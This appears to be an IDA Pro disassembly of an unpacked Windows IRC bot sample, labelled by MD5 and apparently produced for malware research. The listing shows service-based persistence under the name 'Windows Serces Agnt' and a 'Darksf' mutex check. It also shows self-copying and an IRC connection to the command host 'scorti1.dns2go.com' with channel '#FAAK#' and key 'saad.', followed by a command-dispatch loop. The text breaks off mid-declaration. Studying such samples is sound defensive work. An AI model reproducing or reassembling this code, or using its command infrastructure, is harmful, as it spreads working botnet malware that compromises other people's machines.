; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : AFD4A06ED197BEBFA3E32F5B304A9CA2 ; File Name : u:\work\afd4a06ed197bebfa3e32f5b304a9ca2_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DE000 ( 909312.) ; Section size in file : 000DE000 ( 909312.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_4188A6+1Ep ; DATA XREF: ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsSercesA ; "Windows Serces Agnt" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CB988 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41B9C0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CB9F8 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CB938 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CB9B0 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427220[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:004169EAp var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41BEB5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41BEA2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41BBE2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41BAFA add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41BA91 push edi call sub_41BA3B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43E91C call dword_4CBA6C call sub_40B583 call dword_4CB92C call dword_4CB92C mov ebx, dword_427080 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BF70 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41BF70 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43DB88 mov [ebp+var_28], 1 mov [ebp+var_24], di call near ptr 2670A44h nop lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2670000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 2660A8Bh test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427070 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43DB80 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418BD1 pop ecx mov dword_4CB710, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270B0 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CB714, eax call esi push eax call sub_41C2B8 pop ecx call sub_409909 push 2 call dword_4CBA80 push 7530h push offset aDarksf ; "Darksf" push ebx push ebx nop call near ptr 269010Dh push eax nop call near ptr 2690000h cmp eax, 102h jnz short loc_4012A1 push 1 nop call near ptr 77E75CB5h loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CB944 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2670A44h lea eax, [ebp-2ECh] push esi push eax push ebx call near ptr 2680E9Ah nop push eax nop call near ptr 2670000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41C3B1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_429AC8 lea eax, [ebp-5F4h] push esi push eax call sub_41C360 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41C2E0 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41B9C0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41C2C2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41B9C0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_429AC0 push eax call sub_41C266 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 2680D81h cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 2680C82h loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427098 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C nop call near ptr 2680880h cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h nop call near ptr 2680000h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_4187E0 pop ecx lea eax, [ebp-1E8h] push 7 push eax call near ptr 2680C82h nop push 10h lea eax, [ebp-20h] push ebx push eax call sub_41BF70 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41BF70 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset byte_43DB88 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi nop call near ptr 2680833h push eax push esi push 100000h loc_401495: ; DATA XREF: ___:off_433094o nop call near ptr 26802ECh lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_429AB4 push eax call sub_41C266 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 2660A8Bh test eax, eax jz short loc_401516 push 0C8h nop call near ptr 2680000h push dword ptr [ebp-20h] mov esi, dword_427070 call esi push dword ptr [ebp-1Ch] call esi call dword_4CB92C push ebx nop call near ptr 77E75CB5h loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DBDF8, 2 jle short loc_401562 mov eax, dword_4DBDFC push dword ptr [eax+4] call sub_41C159 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 2690000h push esi nop call near ptr 266076Ah mov eax, dword_4DBDFC cmp [eax+8], ebx jz short loc_401562 push 7D0h call near ptr 2680000h nop mov eax, dword_4DBDFC push dword ptr [eax+8] call near ptr 268021Bh nop loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CBAA4, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_429A98 push eax call sub_41C266 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B3BA lea eax, [ebp-0A0h] push eax call sub_415D38 push 0B80h push ebx push offset dword_43DB90 call sub_41BF70 add esp, 24h lea eax, [ebp-0A0h] push offset unk_429A74 push eax call sub_41C266 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B3BA add esp, 14h mov esi, eax mov edi, dword_427084 lea eax, [ebp-8] push eax push ebx push ebx push offset byte_419F4D push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz short loc_401622 call near ptr 2680880h nop push eax lea eax, [ebp-0A0h] push offset unk_429A34 push eax call sub_41C266 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_415D38 push 2 call sub_40B602 pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429A08 push eax call sub_41C266 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B3BA add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_410BFD push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz short loc_40169A nop call near ptr 2680880h push eax lea eax, [ebp-0A0h] push offset dword_4299D4 push eax call sub_41C266 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_415D38 pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41C2C2 push 7Fh and eax, 3 push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CB71C mov dword_4CB888, eax call sub_41BFD0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CB79C push offset aFaak ; "#FAAK#" push edi mov dword_4CB86C, eax call sub_41BFD0 push 3Fh mov esi, offset dword_4CB7DC push offset aSaad_ ; "saad." push esi call sub_41BFD0 add esp, 24h mov dword_4CB870, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CB718 mov dword_4CB884, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CB884, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h call near ptr 2680000h nop inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CB71C call sub_41BFD0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CB86C, eax call sub_41BFD0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41BFD0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CB71C call sub_41BFD0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CB86C, eax call sub_41BFD0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41BFD0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B583 loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CB92C loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+654Co var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CB9D4 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40A8F0 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41BF70 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40AE84 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43E928 push edi push eax call sub_41BFD0 add esp, 28h push 6 push 1 push 2 call dword_4CBA54 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43E91C[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CB97C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CBA6C call sub_40A919 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j nop call near ptr 2680000h jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_429AD0 call sub_415DAC push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CBA6C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B6D6 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41C500 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CB880, bl jz short loc_40199A push offset byte_4CB880 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409823 add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40AE84 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CBA6C push 1388h call near ptr 2680000h nop loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CB9EC test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_4184CC pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h nop call near ptr 2680000h jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_568C = byte ptr -568Ch var_528C = byte ptr -528Ch var_50FC = byte ptr -50FCh var_4FF8 = byte ptr -4FF8h var_4EF8 = byte ptr -4EF8h var_4CF8 = byte ptr -4CF8h var_4BF8 = byte ptr -4BF8h var_4AF4 = byte ptr -4AF4h var_49F4 = byte ptr -49F4h var_48F0 = byte ptr -48F0h var_47F0 = byte ptr -47F0h var_46F0 = byte ptr -46F0h var_45F0 = byte ptr -45F0h var_458C = byte ptr -458Ch var_448C = byte ptr -448Ch var_438C = byte ptr -438Ch var_428C = byte ptr -428Ch var_408C = byte ptr -408Ch var_3F8C = dword ptr -3F8Ch var_3F88 = byte ptr -3F88h var_3F08 = byte ptr -3F08h var_3E04 = byte ptr -3E04h var_3D00 = dword ptr -3D00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = byte ptr -3CE8h var_3C68 = byte ptr -3C68h var_3BE8 = byte ptr -3BE8h var_3B68 = byte ptr -3B68h var_3AE8 = byte ptr -3AE8h var_3A68 = dword ptr -3A68h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = byte ptr -3A58h var_37D1 = byte ptr -37D1h var_37D0 = byte ptr -37D0h var_36CC = dword ptr -36CCh var_36C4 = dword ptr -36C4h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B0 = dword ptr -36B0h var_36AC = dword ptr -36ACh var_36A8 = byte ptr -36A8h var_3628 = byte ptr -3628h var_35A8 = byte ptr -35A8h var_3528 = byte ptr -3528h var_34A8 = dword ptr -34A8h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = byte ptr -3494h var_3414 = byte ptr -3414h var_3394 = byte ptr -3394h var_3314 = byte ptr -3314h var_3294 = dword ptr -3294h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = byte ptr -3280h var_3200 = byte ptr -3200h var_3180 = byte ptr -3180h var_3100 = byte ptr -3100h var_3080 = dword ptr -3080h var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = byte ptr -306Ch var_2FEC = byte ptr -2FECh var_2F6C = byte ptr -2F6Ch var_2EEC = byte ptr -2EECh var_2E6C = dword ptr -2E6Ch var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = byte ptr -2E5Ch var_2D58 = dword ptr -2D58h var_2D54 = byte ptr -2D54h var_2C50 = byte ptr -2C50h var_2B4C = dword ptr -2B4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = byte ptr -2B40h var_2AC0 = dword ptr -2AC0h var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AAC = byte ptr -2AACh var_2994 = byte ptr -2994h var_2914 = dword ptr -2914h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = byte ptr -28FCh var_287C = byte ptr -287Ch var_277C = byte ptr -277Ch var_267C = dword ptr -267Ch var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = byte ptr -2654h var_25D4 = byte ptr -25D4h var_24D4 = byte ptr -24D4h var_23D4 = dword ptr -23D4h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = byte ptr -23ACh var_232C = byte ptr -232Ch var_22AC = byte ptr -22ACh var_222C = dword ptr -222Ch var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = byte ptr -2218h var_2198 = byte ptr -2198h var_2118 = byte ptr -2118h var_2098 = dword ptr -2098h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = byte ptr -2084h var_2004 = byte ptr -2004h var_1F84 = byte ptr -1F84h var_1F04 = dword ptr -1F04h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = byte ptr -1EF0h var_1DF0 = byte ptr -1DF0h var_1D70 = dword ptr -1D70h var_1D68 = dword ptr -1D68h var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D4C = byte ptr -1D4Ch var_1D38 = byte ptr -1D38h var_1C34 = byte ptr -1C34h var_1BB0 = dword ptr -1BB0h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B98 = byte ptr -1B98h var_1B84 = byte ptr -1B84h var_1A80 = byte ptr -1A80h var_1A00 = dword ptr -1A00h var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = byte ptr -19E8h var_1968 = byte ptr -1968h var_1928 = byte ptr -1928h var_1828 = dword ptr -1828h var_1824 = dword ptr -1824h var_1818 = dword ptr -1818h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = byte ptr -180Ch var_17D4 = byte ptr -17D4h var_17B8 = byte ptr -17B8h var_1780 = byte ptr -1780h var_177C = byte ptr -177Ch var_16FC = byte ptr -16FCh var_16BC = byte ptr -16BCh var_162C = dword ptr -162Ch var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = byte ptr -1618h var_1598 = byte ptr -1598h var_1518 = dword ptr -1518h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = byte ptr -1508h var_14F8 = byte ptr -14F8h var_1478 = byte ptr -1478h var_13F8 = dword ptr -13F8h var_13F0 = dword ptr -13F0h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = byte ptr -13D8h var_1358 = byte ptr -1358h var_12D8 = byte ptr -12D8h var_1258 = dword ptr -1258h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1234 = byte ptr -1234h var_11B4 = byte ptr -11B4h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1114 = dword ptr -1114h var_1110 = byte ptr -1110h var_1090 = byte ptr -1090h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1000 = dword ptr -1000h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = byte ptr -0FECh var_F6C = dword ptr -0F6Ch var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = byte ptr -0F58h var_ED8 = dword ptr -0ED8h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = byte ptr -0EC4h var_E44 = dword ptr -0E44h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = byte ptr -0E34h var_E24 = byte ptr -0E24h var_E04 = byte ptr -0E04h var_D84 = dword ptr -0D84h 